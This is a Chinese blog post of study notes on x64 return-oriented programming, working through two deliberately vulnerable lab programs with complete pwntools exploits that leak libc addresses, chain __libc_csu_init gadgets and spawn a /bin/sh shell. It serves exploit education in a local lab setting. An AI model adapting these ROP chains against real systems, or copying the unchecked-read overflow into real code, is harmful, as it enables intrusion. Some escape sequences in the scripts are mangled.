蒸米一步一步ROP X64学习笔记

  原文地址https://segmentfault.com/a/1190000007406442,源代码地址https://github.com/zhengmin1989/ROP_STEP_BY_STEP(冒昧的贴一下,

  本文有一些作为一只菜鸡的思考,原文蒸米大大可能站的角度比较高,有的地方没有写清楚,这里权当补充一下

   首先是level4,源代码如下

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
    void* handle = dlopen("libc.so.6", RTLD_LAZY);
    printf("%p
",dlsym(handle,"system"));
    fflush(stdout);
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    systemaddr();
    write(1, "Hello, World
", 13);
    vulnerable_function();
}

gcc -fno-stack-protector level4.c -o level4 -ldl编译(github里提供的level4程序关闭了pie,我们这么编译打开PIE加大下难度:P

# checksec level4
[*] '/root/rop/rop/level4'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

可以看到程序打开了NX和PIE,由于程序输出了system的地址,所以可以用system地址作为相对偏移,最后加上system地址绕过ASLR。

vulnerable_function存在栈溢出,所以可以构造payload=padding128+EBP+pop_rdi_ret+binsh+system_addr

构造这个payload可以成功的原因是padding128覆盖buf;调用函数时call func会push eip,这里的eip是返回地址,进入func时会push rbp,mov rbp,rsp开辟栈帧,所以需要在栈帧加入EBP;pop_rdi_ret即返回地址eip,调用函数返回时ret会pop eip,这里我们找一个pop rdi,ret的gadget就会执行之;调用函数返回执行ret时rsp指向pop_rdi_ret的地址,pop rip后rsp指向binsh,执行gadget的pop rdi会把binsh弹出rdi作为system调用的第一个参数,然后执行gadget的ret时rsp指向system_addr,就会执行system调用了

另:64位程序函数调用参数依次保存在RDI,RSI,RDX,RCX,R8和 R9

在源程序查找/bin/sh没有找到,只能在ibc里寻找

查找pop_rdi_ret(原作者用的程序可能是github那个版本的,我这里由于重新编译了竟然找到了gadget,当然源程序找不到gadget只能从libc里找了:P

p# ROPgadget --binary level4 --only "pop|ret"
Gadgets information
============================================================
0x000000000000093c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000093e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000940 : pop r14 ; pop r15 ; ret
0x0000000000000942 : pop r15 ; ret
0x000000000000093b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000093f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000770 : pop rbp ; ret
0x0000000000000943 : pop rdi ; ret
0x0000000000000941 : pop rsi ; pop r15 ; ret
0x000000000000093d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000686 : ret

Unique gadgets found: 11

构造exp程序如下

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./level4')

binsh_offset=next(libc.search('/bin/sh'))-libc.symbols['system']
pop_rdi_ret_offset=0x1feea-libc.symbols['system']            

system_str=p.recvuntil('
')
system_addr=int(system_str,16)

binsh=binsh_offset+system_addr
pop_rdi_ret=pop_rdi_ret_offset+system_addr

payload='A'*128+'BBBBBBBB'+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

p.sendline(payload)
p.interactive()

    然后是一个比较有难度的level5

    程序源代码如下

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World ", 13);
    vulnerable_function();
}
    编译时关闭了PIE保护

    可以看到这个程序只有一个栈溢出,又因为开启了NX保护,所以利用的思路就是system("/bin/sh")的函数地址和/bin/sh写入一个可写可执行段(.BSS);又因为程序调用了write和read,所以可以通过write输出write.got的地址,计算system和write的相对偏移从而计算libc system的地址

    objdump -d level5查看level5的汇编,有一个通用构造gadgets的函数

<__libc_csu_init>:
  4005a0:    48 89 6c 24 d8           mov    %rbp,-0x28(%rsp)
  4005a5:    4c 89 64 24 e0           mov    %r12,-0x20(%rsp)
  4005aa:    48 8d 2d 73 08 20 00     lea    0x200873(%rip),%rbp        # 600e24 <__init_array_end>
  4005b1:    4c 8d 25 6c 08 20 00     lea    0x20086c(%rip),%r12        # 600e24 <__init_array_end>
  4005b8:    4c 89 6c 24 e8           mov    %r13,-0x18(%rsp)
  4005bd:    4c 89 74 24 f0           mov    %r14,-0x10(%rsp)
  4005c2:    4c 89 7c 24 f8           mov    %r15,-0x8(%rsp)
  4005c7:    48 89 5c 24 d0           mov    %rbx,-0x30(%rsp)
  4005cc:    48 83 ec 38              sub    $0x38,%rsp
  4005d0:    4c 29 e5                 sub    %r12,%rbp
  4005d3:    41 89 fd                 mov    %edi,%r13d
  4005d6:    49 89 f6                 mov    %rsi,%r14
  4005d9:    48 c1 fd 03              sar    $0x3,%rbp
  4005dd:    49 89 d7                 mov    %rdx,%r15
  4005e0:    e8 1b fe ff ff           callq  400400 <_init>
  4005e5:    48 85 ed                 test   %rbp,%rbp
  4005e8:    74 1c                    je     400606 <__libc_csu_init+0x66>
  4005ea:    31 db                    xor    %ebx,%ebx
  4005ec:    0f 1f 40 00              nopl   0x0(%rax)
  4005f0:    4c 89 fa                 mov    %r15,%rdx
  4005f3:    4c 89 f6                 mov    %r14,%rsi
  4005f6:    44 89 ef                 mov    %r13d,%edi
  4005f9:    41 ff 14 dc              callq  *(%r12,%rbx,8)
  4005fd:    48 83 c3 01              add    $0x1,%rbx
  400601:    48 39 eb                 cmp    %rbp,%rbx
  400604:    75 ea                    jne    4005f0 <__libc_csu_init+0x50>
  400606:    48 8b 5c 24 08           mov    0x8(%rsp),%rbx
  40060b:    48 8b 6c 24 10           mov    0x10(%rsp),%rbp
  400610:    4c 8b 64 24 18           mov    0x18(%rsp),%r12
  400615:    4c 8b 6c 24 20           mov    0x20(%rsp),%r13
  40061a:    4c 8b 74 24 28           mov    0x28(%rsp),%r14
  40061f:    4c 8b 7c 24 30           mov    0x30(%rsp),%r15
  400624:    48 83 c4 38              add    $0x38,%rsp
  400628:    c3                       retq   
  400629:    0f 1f 80 00 00 00 00     nopl   0x0(%rax)

这个函数里先执行400606再执行4005f0有以下赋值过程
RDI,RSI,RDX
[RSP+0X8]->RBX  
[RSP+0X10]->RBP
[RSP+0X18]->R12
[RSP+0X20]->R13;R13D->EDI
[RSP+0X28]->R14->RSI
[RSP+0X30]->R15->RDX
CALL  [R12+RBX*8]

    我们先构造一个payload输出write在got表中的地址

write(rdi=1, rsi=write.got, rdx=8)
ssize_t write(int fd, void *buf, size_t count);

init_addr=0x400606
func_addr=0x4005f0

payload1=padding128+ebp+init_addr+p64(0)+p64(0)+p64(1)+write.got+p64(1)+write.got+p64(8)+p64(func_addr)+padding56+p64(main)

这个payload可以成功的原因:padding128+ebp覆盖buf空间,在vulnerable_function执行结束ret时执行init_addr,即0X400606开始的赋值指令,此时RSP指向p64(0)的位置,各寄存器依次如下赋值。

  显然执行到0X400624时,并没有执行过压栈出栈指令,RSP依然指向p64(0)的位置,此时执行0X400624,esp+=0x38,上图栈中数据正好8*7=0X38个,所以执行完0X400624后esp正好指向P64(func)的位置。此时执行0x400628ret则执行func,执行到0x4005f9 call(r12+rbx*8)即call write,(在Linux中,值为0、1、2的fd分别代表标准输入、标准输出和标准错误输出,在程序中打开文件得到的fd从3开始增长)

所以这时执行write(1,write.got,8)则会把8字节write.got地址输出到标准输出,这时p.recv(8)即可得到write.got的地址

  此时我们得到write.got地址即可通过

system_offset=libc.symbols['write']-libc.symbols['system']

write_addr=u64(p.recv(8))
system_addr=write_addr-system_offset

得到system在libc中的地址。

payload最后+padding56+p64(main)的意思是执行完write后由于rbp=rbx,会依次执行到0x400624,由于我们需要继续利用栈溢出,所以需要返回main函数,所以需要填充一个56大小的padding,然后ret返回main函数

   

   接下来就是要把system和/bin/sh的地址写入.bss,然后再执行system("/bin/sh")即可。payload构造过程与payload1类似,EXP如下

from pwn import *

context(os='linux',arch='amd64')

elf=ELF('level5')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./level5')

init_addr=0x400606
func_addr=0x4005f0
got_write=elf.got['write']
got_read=elf.got['read']
main=0x400564
bss_addr=0x601028

system_offset=libc.symbols['write']-libc.symbols['system']

#write(rdi=1, rsi=write.got, rdx=8)
payload1='x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_write)+p64(1)+p64(got_write)+p64(8)
payload1+=p64(func_addr)+'x00'*56+p64(main)

p.recvuntil("Hello, World ")
p.send(payload1)
sleep(3)
print "send payload1 "
write_addr=u64(p.recv(8))
system_addr=write_addr-system_offset

p.recvuntil("Hello, World ")

#read(rdi=0, rsi=bss_addr, rdx=16)
payload2='x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_read)+p64(0)+p64(bss_addr)+p64(16)
payload2+=p64(func_addr)+'x00'*56+p64(main)

p.send(payload2)
sleep(3)
print "send payload2 "
p.send(p64(system_addr))
p.send("/bin/sh")
sleep(3)
print "please wait "
p.recvuntil("Hello, World ")

#system(rdi = bss_addr+8 = "/bin/sh")
payload3='x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(bss_addr)+p64(bss_addr+8)+p64(0)+p64(0)
payload3+=p64(func_addr)+'x00'*56+p64(main)

sleep(3)
p.send(payload3)
print "send payload3 "
p.interactive()

    关于几个利用的细节问题:

  1.要先执行elf=ELF('level5')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')再执行process('./level5'),最后才能得到一个稳定的shell

  2.每一次send(payload)要sleep一下,不sleep 也会不稳定

  3.payload中用A之类的替换x00会导致Got EOF while sending in interactive的问题

本文作者很菜,这几个细节问题并不知道是什么原因。如果凑巧有大佬看到这篇文章,望不吝赐教

答:

2.如果不调用sleep可能会出现多个payload一起send的情况,坑(


原文地址:https://www.cnblogs.com/snip3r/p/9175390.html